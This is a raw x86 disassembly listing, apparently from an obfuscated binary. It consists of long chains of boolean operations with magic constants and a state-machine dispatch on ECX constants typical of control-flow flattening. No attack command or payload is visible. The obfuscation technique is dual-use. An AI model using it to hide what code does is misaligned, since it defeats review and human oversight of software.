setl dl
cmp eax, 9
mov bh, bl
mov eax, edx
setg ch
mov ah, dl
mov byte [esp + 0x10], dl
xor al, bl
mov dh, ch
or ah, cl
mov dl, byte [esp + 0x10]
mov byte [esp + 4], al
mov al, ch
xor dh, cl
xor ah, 1
and al, cl
xor cl, bl
mov byte [esp + 8], al
mov al, cl
xor al, 1
or dh, byte [esp + 8]
xor bh, al
mov byte [esp + 0xc], al
mov al, bh
and bh, byte [esp + 0xc]
xor al, 1
mov byte [esp + 0x14], al
xor al, cl
xor cl, bl
not cl
mov byte [esp], al
and cl, bl
or bl, ch
xor bl, 1
mov byte [esp + 0x18], cl
mov cl, bl
and cl, ah
xor ah, bl
or ah, cl
mov cl, byte [esp + 4]
xor cl, 1
mov al, cl
xor al, dh
or dh, cl
mov cl, ah
xor dh, 1
or dh, al
mov al, dh
xor cl, dh
and dh, ah
and cl, ah
xor al, 1
xor ah, 1
and ah, al
mov al, cl
or dh, ah
and al, dh
xor dh, cl
or dh, al
mov al, dh
mov cl, dh
xor al, 1
or cl, al
mov ah, cl
xor ah, 1
and ah, dh
mov dh, al
xor dh, cl
and cl, al
and dh, al
or cl, ah
xor dh, 1
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor al, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
xor ah, 1
mov al, ah
or ah, cl
xor al, cl
xor ah, 1
or ah, al
mov al, dl
xor al, ch
mov cl, al
xor cl, 1
and al, cl
mov dh, cl
and dh, al
xor al, cl
mov cl, ch
or al, dh
mov dh, al
and ch, al
and al, dl
xor dh, 1
and cl, dh
or al, cl
xor al, 1
or al, dh
and dh, dl
mov bl, al
or dh, ch
xor bl, 1
mov dl, dh
mov ch, bl
xor dl, al
and ch, al
xor dl, 1
mov cl, ch
xor ch, bl
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
xor cl, dh
or dh, bl
xor dh, 1
mov al, cl
or dh, dl
mov dl, byte [esp]
xor dh, 1
and al, dh
xor dh, cl
mov cl, ah
xor cl, 1
or dh, al
mov byte [esp + 4], cl
movzx ecx, byte [esp + 0x18]
and dl, byte [esp + 0x14]
mov al, cl
and al, bh
xor bh, cl
or bh, al
mov al, dl
xor dl, bh
xor al, 1
xor bh, 1
or bh, al
xor dl, 1
mov al, bh
xor al, dl
or dl, bh
xor dl, 1
or dl, al
mov al, dl
mov dl, dh
xor dl, 1
mov byte [esp], al
mov ecx, edx
or cl, dh
mov ch, cl
mov ebx, ecx
mov bh, cl
xor ch, 1
and bl, ch
and bh, bl
xor bl, cl
mov cl, al
xor al, 1
or bl, bh
mov bh, al
xor bl, dl
mov dl, ch
or ch, dh
or bh, cl
xor dl, dh
xor ch, 1
mov cl, bh
and bh, byte [esp]
or ch, dl
xor cl, 1
mov dl, ch
xor dl, bl
xor bl, 1
or bl, ch
xor dl, 1
xor bl, 1
or bl, dl
mov edx, ecx
xor dl, al
and dl, cl
and cl, al
or cl, bh
mov al, dl
mov bh, byte [esp + 4]
and al, cl
xor cl, dl
or cl, al
xor cl, 1
mov al, cl
xor cl, bl
or al, bl
xor cl, 1
xor al, 1
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
and cl, ah
xor dl, 1
mov ch, dl
xor ch, bh
mov al, ch
mov dh, ch
xor ch, 1
and al, dl
and dh, bh
mov bl, al
and bl, dh
xor dh, al
or dh, bl
xor dh, 1
mov al, dh
xor al, bh
xor al, 1
or al, dh
mov dh, ch
xor dh, dl
and dl, bh
mov ebx, eax
or dl, cl
and dh, ch
xor ah, dl
and ah, dl
mov dl, al
xor ah, dh
mov ch, ah
xor ch, 1
and ch, dh
mov cl, ch
xor ch, ah
and cl, ah
or ch, cl
mov dh, ch
xor dh, 1
mov ah, dh
mov cl, dh
and ah, ch
and cl, ah
xor ah, dh
or dh, ch
or ah, cl
mov byte [esp], dh
xor dh, 1
mov cl, ah
mov byte [esp + 4], ah
mov ah, al
xor cl, 1
xor ah, 1
mov ch, byte [esp + 4]
xor bl, cl
or dl, ah
and bl, al
mov al, ah
or al, dl
xor dl, ah
mov bh, al
xor bh, dl
xor dl, 1
or dl, al
mov al, ch
xor bh, 1
xor dl, 1
and al, cl
or dl, bh
mov bh, al
xor al, ch
mov ch, dh
and ch, byte [esp]
xor bh, 1
or bh, cl
xor bh, 1
or bh, al
mov al, ch
xor ch, dh
and al, dh
mov dh, byte [esp]
or ch, al
mov al, bh
xor al, 1
and al, ch
xor ch, 1
and ch, bh
or ch, al
mov al, cl
and al, dh
xor dh, cl
xor cl, ah
or dh, al
mov al, dh
xor al, ch
xor ch, 1
or ch, dh
xor al, 1
xor ch, 1
or ch, al
mov al, ch
xor al, 1
or al, dl
xor dl, 1
or dl, ch
mov ch, al
xor ch, dl
or dl, al
mov eax, ebx
xor dl, 1
and al, cl
xor cl, bl
or dl, ch
or cl, al
mov ah, dl
mov al, cl
xor ah, cl
xor al, 1
and cl, dl
and ah, dl
xor dl, 1
and dl, al
mov al, ah
or cl, dl
mov edx, 0xf4402f50
xor al, cl
test cl, 1
mov ecx, 0x643172b0
cmovne ecx, edx
test ah, 1
cmove ecx, esi
jmp 0x44c181
cmp ecx, 0x1850f12d
jle 0x43959e
cmp ecx, 0x2390a205
jg 0x43b7c9
cmp ecx, 0x1850f12e
je 0x440347
cmp ecx, 0x18cdc09e
jne 0x42f660
lea ecx, [esp + 0x250]
call fcn.0044c250
mov eax, dword [esp + 0xc8]
mov eax, dword [esp + 0xc4]
lea ecx, [esp + 0x274]
call fcn.0044c250
mov eax, dword [esp + 0xc0]
mov eax, dword [esp + 0x138]
mov ecx, 0xe99cb5dc
inc eax
mov dword [esp + 0x44], eax
movzx eax, byte [esp + 0x143]
mov dword [esp + 0x40], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x4c133e59
jle 0x439647
cmp ecx, 0x5e042e05
jg 0x43b7f7
cmp ecx, 0x4c133e5a
je 0x4403b7
cmp ecx, 0x5aa1caf9
jne 0x42f660
jmp 0x439779
cmp ecx, 0xea0a659e
jle 0x439691
cmp ecx, 0xeaf66482
jg 0x43b827
cmp ecx, 0xea0a659f
je 0x44040d
cmp ecx, 0xeac4671b
jne 0x42f660
mov ecx, dword [0x4d0db4]
lea eax, [ecx - 1]
imul eax, ecx
mov esi, eax
mov edi, eax
not esi
and edi, 0xd0dbad38
mov ecx, esi
mov ebx, esi
and esi, 0x3e0bdc74
and ecx, 0x2f2452c7
and ebx, 0x80e88796
or edi, ecx
mov ecx, edi
and edi, 0x2f2452c7
not ecx
and ecx, 0xd0dbad38
or edi, ecx
mov ecx, edi
and edi, 0x471f9376
not ecx
and ecx, 0xb8e06c89
or edi, ecx
mov ecx, eax
and eax, 0xc1f4238b
and ecx, 0x7f177869
mov edx, edi
xor edi, 0xb0806c09
or eax, esi
or ecx, ebx
xor edx, 0x60d8170
and edi, 0xf1927e0f
mov esi, eax
xor eax, 0x2e020060
mov ebx, ecx
xor ecx, 0x80e88796
and edx, 0xe6d81f0
xor esi, 0x80f40308
and eax, 0x6f0220e3
xor ebx, 0x7f177869
or edx, edi
and esi, 0x90fddf1c
or ecx, ebx
mov edi, edx
xor edx, 0xf1927e0f
or esi, eax
mov ebx, ecx
and ecx, 0xfb2fd24
xor edi, 0xe6d81f0
mov eax, esi
xor esi, 0x80dc8d00
not ebx
xor eax, 0x6f0220e3
and esi, 0xe1dc8d83
and ebx, 0xf04d02db
or ecx, ebx
mov ebx, ecx
xor ecx, 0xf04d02db
xor ebx, 0xfb2fd24
and ebx, edx
or edx, ecx
and ecx, edi
not edx
or ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
and ecx, 0xa6c68203
not edx
and edx, 0x59397dfc
or ecx, edx
mov edx, ecx
mov edi, ecx
xor ecx, 0x7d42ec1
xor edx, 0xa6c68203
xor edi, 0x19084900
mov ebx, edx
and edi, 0x19cccb01
and ecx, edx
and ebx, 0xe63334fe
or ebx, edi
mov edi, ecx
and ecx, 0xc5d0c0a6
mov edx, ebx
xor ebx, 0xb8de67c3
not edi
xor edx, 0xe63334fe
and ebx, edx
mov edx, ebx
and ebx, 0xc5d0c0a6
not edx
mov ebp, edx
or edx, edi
and edi, 0x3a2f3f59
or ecx, edi
mov edi, eax
and ebp, 0x3a2f3f59
and eax, 0x34d7c2fa
not edx
and edi, 0x1e23727c
or ebx, ebp
or edi, esi
xor ecx, ebx
mov esi, edi
mov ebx, edi
xor edi, 0xe0588080
or edx, ecx
xor esi, 0x1e23727c
xor ebx, 0x2af4b086
and edi, 0xf459b08c
mov ecx, edx
and edx, 0xbcedd16
and ebx, esi
not ecx
mov ebp, ebx
and ecx, 0xf43122e9
and ebp, eax
xor eax, ebx
or edx, ecx
or eax, ebp
mov ecx, edx
xor edx, 0xa400cca0
mov ebx, eax
and eax, 0x388a6cce
xor ecx, 0x115a201a
and edx, 0xec24cca5
not ebx
and ecx, 0x13db335a
and ebx, 0xc7759331
or ecx, edx
or eax, ebx
mov ebx, esi
and esi, 0xf3a251cb
mov edx, ecx
xor ecx, 0xe0796291
and ebx, 0xba64f73
xor edx, 0x1382114a
or ebx, edi
and edx, 0xf3a251cb
xor ebx, 0x7fbe147
or ecx, edx
or esi, ebx
mov edx, ecx
and ecx, 0x8bdfbfa7
mov edi, esi
and esi, 0x19c7516
not edx
not edi
and edx, 0x74204058
and edi, 0xfe638ae9
or ecx, edx
or esi, edi
mov edi, eax
and eax, 0x6284ee2c
mov edx, ecx
xor ecx, 0x74204058
mov ebx, esi
not edi
xor esi, 0xfe638ae9
xor edx, 0x8bdfbfa7
mov ebp, edi
xor ebx, 0x846404
or edi, esi
and esi, 0x9d7b11d3
and ebx, 0x6284ee2c
and ebp, 0x9d7b11d3
not edi
or eax, ebp
or ebx, esi
xor ebx, eax
or edi, ebx
mov eax, edi
mov esi, edi
xor eax, 0x482bcfc6
and esi, 0x48004a84
and eax, edi
not edi
and edi, 0x2b8542
or esi, edi
xor esi, 0x48004a84
mov edi, esi
and edi, eax
xor eax, esi
or eax, edi
mov edi, ecx
and ecx, 0x80c8052b
mov esi, eax
and eax, 0x482bcfc6
and edi, 0xd2107f2a
not esi
and esi, 0xb7d43039
or eax, esi
mov esi, edx
mov ebx, eax
and esi, 0x2def80d5
not ebx
or edi, esi
mov esi, eax
mov ebp, ebx
and esi, 0x2def80d5
and ebx, 0xd0d88d7f
and ebp, 0xd2107f2a
or ebp, esi
xor ebp, edi
mov edi, edx
or edi, eax
and eax, 0x2f277280
not edi
or eax, ebx
or edi, ebp
mov ebp, edx
and edx, 0x2f277280
and ebp, 0x50108854
mov esi, edi
and edi, 0xf88c38b5
or ebp, ecx
not esi
xor ebp, 0x50108854
or edx, ebp
mov ecx, edx
not ecx
and ecx, eax
not eax
and eax, edx
mov edx, esi
or eax, ecx
mov ecx, eax
and eax, 0x773c74a
not ecx
xor edx, ecx
and ecx, 0xf88c38b5
and edx, esi
and esi, 0x773c74a
or eax, ecx
or esi, edi
mov ecx, edx
and edx, 0xfb4f07c2
xor eax, esi
not ecx
mov esi, eax
mov edi, ecx
and eax, 0xfb4f07c2
not esi
and edi, 0x4b0f83d
or ecx, esi
and esi, 0x4b0f83d
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
mov esi, ecx
and ecx, 0x363f554
not edx
and esi, 0xa0496f51
mov eax, edx
mov ebx, edx
and edx, 0xfc9c0aab
and eax, 0x16000022
or ebx, 0xb6496f73
or ecx, edx
or esi, eax
mov eax, ebx
and ebx, 0x460c3440
mov edx, ecx
xor ecx, 0xf0c1a49f
mov edi, esi
xor esi, 0x46041000
not eax
xor edx, 0x3225140
xor edi, 0xa0414b11
and eax, 0x9b2808c
and esi, 0x460c3440
and edx, 0xf3a251cb
and edi, 0xb0414b33
or eax, ebx
or ecx, edx
or edi, esi
mov edx, ecx
and ecx, 0x310c8a13
xor eax, edi
not edx
mov esi, eax
and eax, 0x3801000
and edx, 0xcef375ec
not esi
or ecx, edx
and esi, 0xf02241cb
mov edx, ecx
xor ecx, 0xcef375ec
or eax, esi
xor edx, 0x48812
mov esi, eax
xor eax, 0x443b0680
and edx, 0xac4b93e
xor esi, 0xb1805143
and eax, 0xf53b46c1
mov edi, esi
xor edi, ecx
and ecx, 0xf53b46c1
and edi, esi
and esi, 0x280110a
or edx, ecx
or esi, eax
mov ecx, edi
and edi, 0xd000508a
xor edx, esi
not ecx
mov eax, edx
mov esi, ecx
and edx, 0xdc005cba
not eax
and esi, 0x23ffa345
or ecx, eax
and eax, 0x23ffa345
or edi, esi
or edx, eax
not ecx
xor edx, edi
or ecx, edx
mov edx, ecx
mov edi, ecx
mov esi, ecx
not edx
and edi, 0x39140020
xor esi, 0xf95542ba
mov eax, edx
and esi, ecx
and eax, 0xc041429a
or edi, eax
xor edi, 0x39140020
mov eax, edi
and eax, esi
xor esi, edi
mov edi, ecx
or esi, eax
and edi, 0xa133711a
mov eax, esi
and esi, 0x6aabd44
not eax
and eax, 0xf95542bb
or esi, eax
mov eax, edx
and eax, 0x5ecc8ee5
or edi, eax
mov eax, esi
and esi, 0xbfc6566d
mov ebx, edi
not eax
xor edi, 0x40088880
xor ebx, 0xa1025008
mov ebp, eax
and edi, 0x4039a992
and ebx, 0xbfc6566d
and ebp, 0x4039a992
or esi, ebp
or ebx, edi
mov edi, ecx
mov ebp, edx
and edx, 0xa6c8de47
xor ebx, esi
mov esi, ecx
xor edi, 0x2a326347
and ebp, 0x20000145
xor eax, ebx
or esi, 0xd5cd9cb8
and edi, ecx
and ecx, 0x593721b8
and eax, ebx
mov ebx, esi
or ecx, edx
and ebx, 0x4f7a72ba
mov edx, ecx
xor ecx, 0xa6c8de46
or ebp, ebx
mov ebx, edi
and edi, 0xb0858d45
xor edx, 0x593721b8
not ebx
and edx, 0xfffffffe
or esi, ebx
and ebx, 0x4f7a72ba
or ecx, edx
or edi, ebx
not esi
xor edi, ebp
or esi, edi
mov edi, esi
and esi, 0xa285a86e
not edi
and edi, 0x5d7a5791
or esi, edi
mov edi, esi
xor esi, 0x774834d7
and edi, 1
or esi, edi
mov edi, ecx
mov ebp, esi
not edi
and esi, 0xed8addf7
not ebp
and edi, 0x12752208
mov ebx, ebp
xor ebx, ecx
and ecx, 0xed8addf7
and ebx, ebp
and ebp, 0x12752208
or edi, ecx
or ebp, esi
mov edx, ebx
and ebx, 0xc3e15045
xor edi, ebp
not edx
mov ecx, edi
mov esi, edx
and edi, 0xc3e15045
not ecx
and esi, 0x3c1eafba
or edx, ecx
and ecx, 0x3c1eafba
or ebx, esi
mov esi, eax
or edi, ecx
not edx
and esi, 0xbafe9a5c
xor edi, ebx
or edx, edi
mov edi, eax
and eax, 0xb90290f7
not edi
mov ebx, edx
mov ecx, edi
mov ebp, edi
not ebx
and ecx, 0x450165a3
and ebp, 0x46fd6f08
or esi, ecx
or eax, ebp
xor esi, 0xbafe9a5c
xor eax, edx
mov ecx, esi
xor eax, 0x46fd6f08
xor esi, ebx
and ecx, ebx
and eax, edx
and ebx, 0xcd692b09
and edx, 0x3296d4f6
or esi, ecx
or edx, ebx
mov ecx, esi
xor edx, 0xcd692b09
and esi, 0xfc4a1b5c
not ecx
or edx, edi
mov edi, eax
and ecx, 0x3b5e4a3
not edx
or esi, ecx
and edi, edx
xor edx, eax
mov ecx, esi
or edx, edi
xor esi, 0x2158021
xor ecx, 0xfc4a1b5c
mov edi, edx
and esi, 0x5e5f8339
mov eax, ecx
xor edi, 0xf2f50334
and ecx, 0xd0afccb
and eax, 0xa1a07cc6
and edi, edx
or eax, esi
mov esi, edx
not edx
and edx, 0x530c8c09
and esi, 0xacf373f6
xor eax, 0xa1a07cc6
or esi, edx
mov ebx, eax
mov edx, esi
xor esi, 0x52040000
xor edx, 0xacf373f6
or esi, 0xd0afccb
and ebx, edx
xor edx, eax
and eax, 0xf2f50334
mov ebp, esi
or ecx, eax
mov eax, esi
and ebp, 0x493dcf1e
or edx, ebx
not eax
and eax, 0xb2c00020
or eax, ebp
mov ebp, edi
and edi, 0xb6c230e1
not ebp
or esi, ebp
and ebp, 0x493dcf1e
or edi, ebp
not esi
xor edi, eax
mov eax, ecx
and ecx, 0xc55532b0
not eax
or esi, edi
and eax, 0x3aaacd4f
or ecx, eax
mov eax, esi
and esi, 0xc55532b0
not eax
and eax, 0x3aaacd4f
or esi, eax
mov eax, edx
and edx, 0x15cf7819
not eax
xor esi, ecx
and eax, 0xea3087e6
or edx, eax
mov eax, esi
and esi, 0xfba6573b
mov ecx, edx
not eax
xor edx, 0xea3087e6
mov edi, eax
xor ecx, 0x11865019
or eax, edx
and edx, 0x459a8c4
and ecx, 0xfba6573b
and edi, 0x459a8c4
not eax
or esi, edi
or ecx, edx
xor ecx, esi
or eax, ecx
mov edx, eax
mov esi, eax
mov ebp, eax
or edx, 0x9fa4fb7c
xor esi, 0x605b0483
not ebp
mov ecx, edx
and esi, eax
mov ebx, edx
mov edi, esi
not ecx
and ebx, 0x285c65ec
and esi, 0xd7a39a13
and ecx, 0x40030003
not edi
or edx, edi
or ecx, ebx
and edi, 0x285c65ec
mov ebx, eax
mov dword [esp], ecx
or esi, edi
mov ecx, eax
not edx
mov edi, eax
and ebx, 0xada383f8
xor esi, dword [esp]
xor ecx, 0x61415d5d
and edi, 0x9fd1e520
and ecx, eax
or edx, esi
mov eax, edx
and edx, 0x605b0483
not eax
and eax, 0x9fa4fb7c
or edx, eax
mov eax, edx
and edx, 0x4b48a4de
not eax
and eax, 0xb4b75b21
or edx, eax
mov eax, edx
xor edx, 0xa0270901
xor eax, 0x248a446
and edx, 0xe9270999
and eax, 0x16d8f666
or edx, eax
mov eax, edx
xor eax, 0x16d8f666
and eax, edx
mov edx, ebp
and edx, 0x525c7c07
or ebx, edx
mov esi, ebx
xor ebx, 0x40405c05
or ebx, 0x9ebea2a2
xor esi, 0x20010058
mov edx, ebx
and esi, 0x2041005d
and edx, 0x4f22ffa2
or esi, edx
mov edx, ecx
and ecx, 0xb0dd005d
not edx
or ebx, edx
and edx, 0x4f22ffa2
or ecx, edx
not ebx
mov edx, ebp
xor ecx, esi
and edx, 0xe9270999
or ebx, ecx
mov ecx, ebx
and ebx, 0xc38ec9a2
not ecx
and ecx, 0x3c71365d
or ebx, ecx
xor ebx, 0xc38ec9a2
mov ecx, ebx
xor ebx, ebp
and ecx, ebp
and ebp, 0x602e1adf
or ebp, edi
mov edi, eax
mov dword [esp + 4], ecx
xor ebp, 0x76f6ecb9
or edi, 0x11b6ae55
or ebx, dword [esp + 4]
or edx, ebp
mov ebp, edi
and edi, 0x9812045c
mov esi, edx
and edx, 0xd58fac1a
not ebp
not esi
and ebp, 0x664951a2
and esi, 0x2a7053e5
or ebp, edi
or edx, esi
mov esi, eax
not esi
mov dword [esp + 8], esi
or esi, 0xee4951aa
mov edi, esi
and esi, 0x9812045c
not edi
and edi, 0x1a4aa01
or edi, esi
mov esi, edx
xor edi, ebp
mov ebp, edx
xor esi, 0xd58fac1a
xor edx, 0x3bc6fdb0
xor ebp, 0x2a7053e5
and edx, esi
mov ecx, ebp
and ebp, 0x882a1427
and ecx, 0xee4951aa
mov dword [esp], ecx
and dword [esp], edx
xor edx, ecx
mov ecx, edi
or edx, dword [esp]
not ecx
and ecx, edx
not edx
and edx, edi
mov edi, dword [esp + 8]
or edx, ecx
mov ecx, eax
or eax, esi
and esi, 0x77d5ebd8
and ecx, 0x77d5ebd8
or ebp, esi
not eax
and edi, 0x882a1427
or edi, ecx
xor ebp, edi
or eax, ebp
mov ecx, eax
and eax, 0xa1c994c8
not ecx
and ecx, 0x5e366b37
or eax, ecx
mov ecx, edx
xor eax, 0xa1c994c8
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xc81f7103
and ecx, eax
or eax, 0x37e08efc
mov esi, ecx
mov edx, eax
mov edi, eax
and ecx, 0xf30833ab
not edx
not esi
and edi, 0xcf7cc54
or eax, esi
and edx, 0xc0083103
and esi, 0xcf7cc54
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
and eax, 0xf603fa26
not ecx
and ecx, 0x9fc05d9
or eax, ecx
mov ecx, eax
xor eax, 0x28c47d43
xor ecx, 0xd73b82bc
mov edx, eax
and ecx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
and ecx, 0x9ebea2a2
not edx
and edx, 0x61415d5d
or edx, ecx
mov eax, edx
and edx, 0x61415d5d
not eax
mov ecx, eax
and ecx, 0x9ebea2a2
or edx, ecx
mov ecx, ebx
and ebx, 0x5faa7f94
not edx
not ecx
or edx, eax
and ecx, 0xa055806b
mov edi, edx
mov eax, edx
or ebx, ecx
and edx, 0xdf3b6eb5
not edi
and eax, 0x758b416e
mov esi, ebx
mov ecx, edi
xor esi, 0x5faa7f94
and edi, 0x20c4914a
and ecx, 0x8a74be91
or edi, edx
or ecx, eax
mov eax, ecx
xor ecx, 0x758b416e
mov ebp, ecx
xor eax, 0x88100a00
or ecx, esi
and ebp, 0x22e4b5df
and eax, 0xdd1b4a20
not ecx
or eax, ebp
mov dword [esp], eax
mov eax, ebx
xor ebx, 0x80911121
xor eax, 0xa055806b
mov ebp, eax
and eax, ebx
and ebx, esi
and esi, 0x22e4b5df
and ebp, 0xdd1b4a20
mov edx, eax
or ebp, esi
and edx, ebx
xor ebx, eax
xor ebp, dword [esp]
or ebx, edx
mov edx, edi
and edi, 0xb19093d3
not edx
and edx, 0x4e6f6c2c
or edi, edx
mov edx, ebx
and ebx, 0xb19093d3
or ecx, ebp
not edx
mov esi, ecx
and edx, 0x4e6f6c2c
and ecx, 0x8a64197e
not esi
or ebx, edx
and esi, 0x759be681
xor ebx, edi
or ecx, esi
mov eax, ebx
mov edx, ebx
and ebx, 0x8384a0f1
mov ebp, ecx
xor ecx, 0x759be681
not eax
xor edx, 0x7c7b5f0e
xor ebp, 0x82040070
mov esi, ecx
and edx, eax
and esi, eax
xor eax, ecx
and ecx, 0x7c7b5f0e
and ebp, 0x8384a0f1
or ebp, ecx
mov ecx, edx
or eax, esi
and ecx, ebx
xor ebx, edx
not eax
or ebx, ecx
mov ecx, ebp
not ecx
and ecx, ebx
not ebx
and ebx, ebp
or ebx, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov esi, eax
mov edx, eax
mov ecx, eax
not esi
xor edx, 0x45535c18
and ecx, 0xeeb44f0
mov edi, esi
and edx, eax
and eax, 0x9c8098b5
and edi, 0x637f674a
or eax, edi
mov edi, edx
and edx, 0xc40297fc
not eax
not edi
or eax, esi
and esi, 0xf114bb0f
or ecx, esi
mov esi, ecx
xor ecx, 0x41101808
or ecx, 0xbaaca3e7
xor esi, 0x4020410
mov ebx, ecx
or ecx, edi
and edi, 0x3bfd6803
and esi, 0x44021418
and ebx, 0x3bfd6803
or edx, edi
not ecx
or esi, ebx
xor edx, esi
or ecx, edx
mov edx, ecx
and ecx, 0x45535c18
not edx
and edx, 0xbaaca3e7
or ecx, edx
mov edx, ecx
and ecx, 0xb3a23318
not edx
and edx, 0x4c5dcce7
or edx, ecx
mov ecx, edx
xor edx, 0x4c5dcce7
xor ecx, 0xd0dd5452
and edx, ecx
mov ecx, eax
mov esi, edx
not ecx
xor esi, eax
and eax, edx
and esi, edx
not edx
and edx, ecx
mov ecx, esi
or eax, edx
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
mov edx, eax
and eax, 0x23e3a17
not ecx
and edx, 0xa8c1c168
and ecx, 0x55000480
or edx, ecx
xor edx, 0xa8c1c168
or eax, edx
mov edx, eax
mov edi, eax
mov ebx, eax
not edx
xor edi, 0xe114aa85
and ebx, 0x367d5979
mov ecx, edx
and edi, eax
and ecx, 0xe114aa85
mov esi, ecx
and esi, edi
xor edi, ecx
or edi, esi
mov ecx, edi
and edi, 0xe114aa85
not ecx
and ecx, 0x1eeb557a
or edi, ecx
mov esi, edi
and edi, 0xd2ae0c50
not esi
mov ecx, esi
and esi, 0x367d5979
and ecx, 0x2d51f3af
or ecx, edi
xor ecx, 0xe4d35529
or esi, ecx
mov ecx, edx
and ecx, 0xc982a686
mov edi, esi
and esi, 0x9e23f24b
or ebx, ecx
not edi
not ebx
mov ebp, edi
or ebx, edx
mov ecx, ebx
xor ebp, ebx
and ebx, 0x9e23f24b
not ecx
and ebp, edi
and edi, 0x61dc0db4
and ecx, 0x61dc0db4
or edi, esi
mov esi, ebp
or ecx, ebx
xor ecx, edi
and esi, ecx
xor ecx, ebp
or ecx, esi
mov edi, ecx
or ecx, 0xbf01ada
not edi
mov ebx, ecx
and ecx, 0xb29eac0e
or edi, 0xf40fe525
not ebx
mov esi, edi
and edi, 0xb29eac0e
and ebx, 0x44014121
not esi
or ebx, ecx
and esi, 0x96012d0
or esi, edi
mov edi, edx
and edx, eax
and eax, 0x28416f74
and edi, 0xd7be908b
xor esi, ebx
mov ebx, edx
and edx, 0x91d2d53f
or eax, edi
mov ecx, esi
not ebx
and esi, 0x1b864ef
mov edi, eax
xor eax, 0xd7be908b
not ecx
mov ebp, eax
xor edi, 0x404534
or eax, ebx
and ecx, 0xfe479b10
and ebx, 0x6e2d2ac0
and ebp, 0x6e2d2ac0
and edi, 0x91d2d53f
or esi, ecx
or edx, ebx
not eax
or edi, ebp
mov ecx, esi
xor edx, edi
mov edi, esi
xor ecx, 0xc3cad8b3
xor esi, 0xda4bd5de
xor edi, 0x3c35274c
or eax, edx
mov ebx, ecx
and esi, ecx
and ecx, 0xa289744b
mov edx, edi
and ebx, 0x11800905
mov ebp, eax
xor eax, 0x19810d6d
and edi, 0x5d768bb4
and edx, 0x8010468
not ebp
or ecx, edi
or ebx, edx
and eax, ebp
or ebp, 0x19810d6d
xor ebx, 0x11800905
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
mov edx, eax
and eax, 0x265075db
not edx
mov ebx, edx
or edx, ebp
and ebx, 0xd9af8a24
not edx
or eax, ebx
mov ebx, ebp
and ebp, 0xd9af8a24
not ebx
and ebx, 0x26507092
or ebx, ebp
xor ebx, eax
mov eax, esi
and esi, 0x4005bca0
not eax
or edx, ebx
mov ebx, dword [0x4d0db8]
and eax, 0xbffa435f
or esi, eax
mov eax, edx
and edx, 0x4005bca0
not eax
and eax, 0xbffa435f
or edx, eax
xor edx, esi
mov eax, edx
and edx, 0xead76a0f
not eax
and eax, 0x152895f0
or edx, eax
mov eax, edx
xor edx, 0x152895f0
xor eax, 0xe294400b
mov esi, edx
and esi, 0x1c43af94
and eax, 0xe3bc506b
or eax, esi
mov esi, ecx
xor ecx, 0x5d768bb4
xor esi, 0xa288504b
or edx, ecx
and ecx, 0x1c43af94
and esi, 0xe3bc506b
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0xdfae50b4
mov eax, edx
and edx, 0xcd383473
not eax
and eax, 0x32c7cb8c
or edx, eax
xor edx, 0xcd383473
sete al
setne ah
cmp ebx, 9
setg dh
cmp ebx, 0xa
mov ecx, eax
mov bh, al
mov byte [esp], al
setl ch
and bh, dh
xor cl, ch
xor dh, ch
mov dl, cl
and cl, ch
and dl, al
mov bl, dl
and bl, cl
xor cl, dl
mov dl, ch
or cl, bl
mov bl, ch
and dl, ah
xor bl, ah
or dl, bh
and bl, ch
xor ch, dh
mov bh, bl
xor bl, dl
xor dl, 1
not ch
xor bh, 1
and ch, dh
or dl, bh
xor dl, 1
or dl, bl
mov ebx, edx
mov bh, dl
mov al, dl
xor bl, 1
and bh, bl
xor al, bh
xor bh, 1
or bh, bl
xor bh, 1
or bh, al
mov al, bh
xor bh, 1
and al, cl
xor cl, 1
and bh, cl
or bh, al
mov al, cl
xor cl, dl
and al, dl
or cl, al
mov al, bh
xor cl, 1
and al, cl
xor cl, bh
mov bh, ch
or cl, al
xor bh, 1
mov al, cl
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov al, cl
xor al, 1
mov edx, eax
and dl, cl
mov bl, dl
xor dl, cl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov al, bl
xor al, 1
and bl, al
mov cl, al
and cl, bl
xor bl, al
or bl, cl
mov edx, ebx
xor dl, 1
mov al, dl
mov cl, dl
or dl, bl
and al, bl
xor dl, 1
xor cl, al
xor al, 1
or al, bl
mov bl, ch
xor al, 1
and bl, bh
or al, cl
xor al, 1
mov cl, al
and cl, dl
xor dl, al
mov al, bl
xor bl, ch
and al, ch
or dl, cl
or bl, al
mov al, ch
mov byte [esp + 4], dl
xor dl, 1
xor al, bh
or bh, ch
mov byte [esp + 8], dl
movzx edx, byte [esp]
xor bh, 1
or bh, al
mov al, bl
xor al, 1
mov dh, bh
mov ch, al
mov cl, al
xor dh, 1
xor dl, ah
and ch, bl
and cl, ch
xor ch, al
mov al, bh
and al, dh
or ch, cl
mov cl, bl
xor bh, al
xor al, 1
xor cl, dh
or al, dh
or dh, bl
xor al, 1
xor dh, 1
or al, bh
or dh, cl
xor al, ch
xor al, 1
mov ecx, eax
xor cl, dh
or dh, al
mov al, ah
xor dh, 1
or al, dl
xor dl, ah
or dh, cl
mov ecx, eax
xor cl, dl
xor dl, 1
mov ch, dh
or dl, al
mov al, dh
xor cl, 1
xor al, 1
xor dl, 1
or ch, al
or dl, cl
mov cl, ch
mov bh, dl
mov bl, dl
xor cl, 1
xor bh, 1
and cl, dh
mov dh, al
or bl, bh
and bh, dl
xor dh, ch
and ch, al
mov ah, bl
and dh, al
or ch, cl
xor ah, 1
mov al, dh
and ah, bl
and al, ch
xor ch, dh
or ch, al
